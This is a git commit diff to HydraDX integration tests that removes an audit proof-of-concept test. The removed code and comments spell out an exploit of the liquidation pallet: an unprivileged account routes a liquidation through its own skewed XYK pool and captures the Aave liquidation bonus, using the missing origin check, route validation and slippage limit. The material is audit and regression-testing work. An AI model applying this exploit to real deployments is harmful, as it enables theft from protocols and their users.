test(liquidation): remove non-passing attacker xyk pool liquidation poc

Author: mrq1911

integration-tests/src/liquidation.rs

@@ -22,8 +22,7 @@ use hydradx_runtime::{
 };
 use hydradx_traits::{
 	evm::{CallContext, Erc20Encoding, EVM},
-	router::{AssetPair, PoolType, RouteProvider, Trade},
-	AMM,
+	router::{AssetPair, RouteProvider},
 };
 use liquidation_worker_support::*;
 use orml_traits::currency::MultiCurrency;
@@ -526,271 +525,6 @@ fn liquidation_should_revert_correctly_when_evm_call_fails() {
 	});
 }
 
-// =============================================================================
-// AUDIT POC — cl0wdit Finding #2 (Confidence 88)
-//   END-TO-END VALUE EXTRACTION via attacker-controlled XYK pool
-//
-// Bug locations in `pallets/liquidation/src/lib.rs`:
-//   - L242  `pub fn liquidate(_origin: OriginFor<T>, …)`  → origin discarded
-//   - L247  `route: Route<AssetId>`                       → user-supplied, unvalidated
-//   - L377  `T::Router::sell(..., 1, route)`              → min_amount_out hardcoded to 1
-//
-// Exploit shape:
-//   (1) CHARLIE (unrelated signed account) seeds an adversarial XYK pool with
-//       skewed reserves: just enough WETH side to clear `MaxInRatio = 3`, just
-//       enough DOT side to barely cover `debt_to_cover` after XYK's 0.3% fee.
-//   (2) CHARLIE submits `Liquidation::liquidate(... route = [XYK(WETH, DOT)])`.
-//       Liquidation pallet — having no origin check and no route validation —
-//       forwards the call to `T::Router::sell(... min_amount_out = 1, route)`.
-//   (3) The trade dumps the entire Aave liquidation bonus (collateral_earned, a
-//       large WETH amount) into CHARLIE's pool and pulls out only enough DOT to
-//       satisfy `debt_gained.checked_sub(debt_to_cover).ok_or(NotProfitable)`.
-//   (4) Result: protocol's BorrowingTreasury receives dust (~the XYK fee + 1u);
-//       CHARLIE's pool absorbs the entire WETH bonus as a permanent gain that
-//       CHARLIE can withdraw via `XYK::remove_liquidity` at leisure.
-//
-// FIX VERIFICATION:
-//   After the fix is applied, this test should fail with one of:
-//     - `BadOrigin`               (CHARLIE rejected as non-privileged caller)
-//     - `Error::<Runtime>::InvalidRoute`  (route ≠ Router::get_route)
-//     - a slippage / NotProfitable error (oracle-anchored min_amount_out)
-// =============================================================================
-#[test]
-fn liquidate_via_attacker_xyk_pool_redirects_aave_bonus_to_attacker() {
-	TestNet::reset();
-	hydra_live_ext(PATH_TO_SNAPSHOT).execute_with(|| {
-		// ---- Arrange: standard Alice-becomes-liquidatable setup -----------------
-		deposit_hdx_to_protocol_account();
-
-		let pallet_acc = Liquidation::account_id();
-		let dot_asset_address = HydraErc20Mapping::encode_evm_address(DOT);
-		let weth_asset_address = HydraErc20Mapping::encode_evm_address(WETH);
-
-		assert_ok!(Currencies::deposit(DOT, &ALICE.into(), ALICE_INITIAL_DOT_BALANCE));
-		assert_ok!(Currencies::deposit(WETH, &ALICE.into(), ALICE_INITIAL_WETH_BALANCE));
-
-		assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(ALICE.into()),));
-		assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(CHARLIE.into()),));
-		assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(pallet_acc.clone()),));
-
-		let alice_evm_address = EVMAccounts::evm_address(&AccountId::from(ALICE));
-
-		let block_number = hydradx_runtime::System::block_number();
-		let hash = hydradx_runtime::System::block_hash(block_number);
-		let pool_contract = MoneyMarketData::<Block, OriginCaller, RuntimeCall, RuntimeEvent>::fetch_pool::<
-			ApiProvider<Runtime>,
-		>(&ApiProvider::<Runtime>(Runtime), hash, PAP_CONTRACT, alice_evm_address)
-		.unwrap();
-		assert_ok!(Liquidation::set_borrowing_contract(
-			RuntimeOrigin::root(),
-			pool_contract
-		));
-		assert_ok!(EVMAccounts::approve_contract(RuntimeOrigin::root(), pool_contract));
-
-		let collateral_weth_amount: Balance = 10 * WETH_UNIT;
-		let collateral_dot_amount = 5_000 * DOT_UNIT;
-		supply(
-			pool_contract,
-			alice_evm_address,
-			weth_asset_address,
-			collateral_weth_amount,
-		);
-		supply(
-			pool_contract,
-			alice_evm_address,
-			dot_asset_address,
-			collateral_dot_amount,
-		);
-
-		let borrow_dot_amount: Balance = 5_000 * DOT_UNIT;
-		borrow(pool_contract, alice_evm_address, dot_asset_address, borrow_dot_amount);
-
-		// Oracle bumps to make Alice's position liquidatable.
-		let (price, timestamp) = get_oracle_price("DOT/USD").unwrap();
-		let price = price.as_u128() * 5;
-		let timestamp = timestamp.as_u128() + 6;
-		let mut data = price.to_be_bytes().to_vec();
-		data.extend_from_slice(timestamp.to_be_bytes().as_ref());
-		update_oracle_price(
-			vec![("DOT/USD", U256::from_big_endian(&data[0..32]))],
-			ORACLE_ADDRESS,
-			ORACLE_CALLER,
-		);
-
-		let (price, timestamp) = get_oracle_price("WETH/USD").unwrap();
-		let price = price.as_u128() / 5;
-		let timestamp = timestamp.as_u128() + 6;
-		let mut data = price.to_be_bytes().to_vec();
-		data.extend_from_slice(timestamp.to_be_bytes().as_ref());
-		update_oracle_price(
-			vec![("WETH/USD", U256::from_big_endian(&data[0..32]))],
-			ORACLE_ADDRESS,
-			ORACLE_CALLER,
-		);
-
-		let user_data = get_user_account_data(pool_contract, alice_evm_address).unwrap();
-		assert!(user_data.health_factor < U256::from(1_000_000_000_000_000_000u128));
-
-		// ---- Stage the attacker's adversarial XYK pool --------------------------
-		// CHARLIE creates a fresh WETH/DOT XYK pool with skewed reserves:
-		//   - R_weth = 30 WETH    → just clears `MaxInRatio = 3` for ~10 WETH input
-		//   - R_dot  = 20_100 DOT → output ≈ R_dot * 10 / 40 ≈ 5_025 DOT, after the
-		//                           0.3% fee ≈ 5_010 DOT — barely enough to satisfy
-		//                           `debt_gained >= debt_to_cover`. The protocol's
-		//                           `BorrowingTreasury` receives ~10 DOT profit;
-		//                           the entire WETH input is permanently absorbed
-		//                           into the pool that CHARLIE owns.
-		const CHARLIE_WETH_SEED: Balance = 50 * WETH_UNIT;
-		const CHARLIE_DOT_SEED: Balance = 25_000 * DOT_UNIT;
-		// Give CHARLIE native HDX first so the account exists for orml-tokens.
-		assert_ok!(Currencies::deposit(HDX, &CHARLIE.into(), 1_000 * UNITS));
-		assert_ok!(Currencies::deposit(WETH, &CHARLIE.into(), CHARLIE_WETH_SEED));
-		assert_ok!(Currencies::deposit(DOT, &CHARLIE.into(), CHARLIE_DOT_SEED));
-
-		const XYK_R_WETH: Balance = 30 * WETH_UNIT;
-		const XYK_R_DOT: Balance = 20_100 * DOT_UNIT;
-		assert_ok!(hydradx_runtime::XYK::create_pool(
-			RuntimeOrigin::signed(CHARLIE.into()),
-			WETH,
-			XYK_R_WETH,
-			DOT,
-			XYK_R_DOT,
-		));
-
-		let attacker_pool = hydradx_runtime::XYK::get_pair_id(pallet_xyk::types::AssetPair {
-			asset_in: WETH,
-			asset_out: DOT,
-		});
-
-		// ---- Snapshot pre-exploit balances --------------------------------------
-		let treasury_dot_before = Currencies::free_balance(DOT, &BorrowingTreasuryAccount::get());
-		let pool_weth_before = Currencies::free_balance(WETH, &attacker_pool);
-		let pool_dot_before = Currencies::free_balance(DOT, &attacker_pool);
-
-		// ---- Build the attacker route through CHARLIE's XYK pool ----------------
-		let attacker_route: BoundedVec<Trade<AssetId>, sp_core::ConstU32<9>> = vec![Trade {
-			pool: PoolType::XYK,
-			asset_in: WETH,
-			asset_out: DOT,
-		}]
-		.try_into()
-		.expect("one-hop route fits MAX_NUMBER_OF_TRADES=9");
-
-		let canonical_route = Router::get_route(AssetPair {
-			asset_in: WETH,
-			asset_out: DOT,
-		});
-		assert_ne!(
-			canonical_route, attacker_route,
-			"attacker route (XYK) must differ from canonical Router::get_route()"
-		);
-
-		// ---- Fire the exploit ---------------------------------------------------
-		assert_ok!(Liquidation::liquidate(
-			RuntimeOrigin::signed(CHARLIE.into()),
-			WETH,
-			DOT,
-			alice_evm_address,
-			borrow_dot_amount,
-			attacker_route,
-		));
-
-		// Pallet account fully unwound — math closed cleanly.
-		assert_eq!(Currencies::free_balance(DOT, &pallet_acc), 0);
-		assert_eq!(Currencies::free_balance(WETH, &pallet_acc), 0);
-
-		// ---- Measure the value flow ---------------------------------------------
-		let treasury_dot_after = Currencies::free_balance(DOT, &BorrowingTreasuryAccount::get());
-		let pool_weth_after = Currencies::free_balance(WETH, &attacker_pool);
-		let pool_dot_after = Currencies::free_balance(DOT, &attacker_pool);
-
-		let protocol_profit_dot = treasury_dot_after - treasury_dot_before;
-		let attacker_pool_weth_gain = pool_weth_after - pool_weth_before;
-		let attacker_pool_dot_loss = pool_dot_before - pool_dot_after;
-
-		// Illustrative real-market valuation (independent of Aave's manipulated
-		// oracle, which only exists to TRIGGER the liquidation). Real prices in
-		// USD at the time of exploit, taken as ballpark constants:
-		//   1 WETH ≈ $4000, 1 DOT ≈ $5.
-		// These constants are used for human-readable reporting only — the test
-		// assertions below are in raw token units.
-		const WETH_USD: u128 = 4_000;
-		const DOT_USD: u128 = 5;
-		let attacker_pool_weth_gain_usd = attacker_pool_weth_gain.saturating_mul(WETH_USD) / WETH_UNIT;
-		let attacker_pool_dot_loss_usd = attacker_pool_dot_loss.saturating_mul(DOT_USD) / DOT_UNIT;
-		let attacker_net_usd = attacker_pool_weth_gain_usd.saturating_sub(attacker_pool_dot_loss_usd);
-		let protocol_profit_usd = protocol_profit_dot.saturating_mul(DOT_USD) / DOT_UNIT;
-
-		println!("===== Liquidation::liquidate — attacker XYK route exploit =====");
-		println!(
-			"Attacker pool WETH gained: {} wei  (~${} at $4000/WETH)",
-			attacker_pool_weth_gain, attacker_pool_weth_gain_usd
-		);
-		println!(
-			"Attacker pool DOT  paid:   {} raw  (~${} at $5/DOT)",
-			attacker_pool_dot_loss, attacker_pool_dot_loss_usd
-		);
-		println!("Attacker net pool value:   ~${}", attacker_net_usd);
-		println!(
-			"Protocol Treasury profit:  {} raw DOT  (~${} at $5/DOT)",
-			protocol_profit_dot, protocol_profit_usd
-		);
-		println!(
-			"Asymmetry (attacker / protocol value): ~{}x",
-			if protocol_profit_usd == 0 {
-				u128::MAX
-			} else {
-				attacker_net_usd / protocol_profit_usd
-			}
-		);
-		println!("===============================================================");
-
-		// ---- Hard assertions ----------------------------------------------------
-		// (a) Liquidation succeeded — protocol got SOMETHING (else `NotProfitable`
-		//     would have aborted). But the "something" is dust at any reasonable
-		//     XYK pool sizing, because `min_amount_out = 1` lets the trade clear
-		//     at any output ≥ debt_to_cover.
-		assert!(
-			protocol_profit_dot > 0,
-			"liquidation should have succeeded and given the treasury non-zero profit"
-		);
-
-		// (b) Attacker pool absorbed real WETH value. With ~10 WETH liquidation
-		//     bonus from Aave, the attacker pool's WETH balance must have grown
-		//     by at least ~1 WETH (well above any rounding noise).
-		assert!(
-			attacker_pool_weth_gain > WETH_UNIT,
-			"attacker pool should have absorbed > 1 WETH from the liquidation bonus"
-		);
-
-		// (c) Asymmetry: attacker pool's value gain (in DOT-equivalent at the
-		//     adversarial pool's *own* internal price) far exceeds the protocol's
-		//     profit. Use the pool's R_dot/R_weth ratio post-trade as the value
-		//     proxy (this is the rate at which the attacker can extract value by
-		//     withdrawing liquidity).
-		let pool_implied_dot_per_weth = pool_dot_after.saturating_mul(WETH_UNIT) / pool_weth_after;
-		let attacker_weth_value_in_dot = attacker_pool_weth_gain.saturating_mul(pool_implied_dot_per_weth) / WETH_UNIT;
-		assert!(
-			attacker_weth_value_in_dot > protocol_profit_dot.saturating_mul(10),
-			"attacker should capture ≥10× more value than the protocol receives \
-             (attacker_weth_value_in_dot={attacker_weth_value_in_dot}, protocol_profit_dot={protocol_profit_dot})"
-		);
-
-		// (d) Attacker's own free balance is untouched — value is locked in the
-		//     pool, recoverable via XYK::remove_liquidity (not exercised here).
-		assert_eq!(
-			Currencies::free_balance(WETH, &CHARLIE.into()),
-			CHARLIE_WETH_SEED - XYK_R_WETH,
-			"CHARLIE's free WETH balance unchanged after the trade — value is in the pool"
-		);
-		assert_eq!(
-			Currencies::free_balance(DOT, &CHARLIE.into()),
-			CHARLIE_DOT_SEED - XYK_R_DOT,
-			"CHARLIE's free DOT balance unchanged after the trade"
-		);
-	});
-}
-
 fn assert_health_factor_is_within_tolerance(health_factor: U256, target_health_factor: U256) {
 	let health_factor_diff = health_factor.abs_diff(target_health_factor);
 	// HF uses 18 decimal places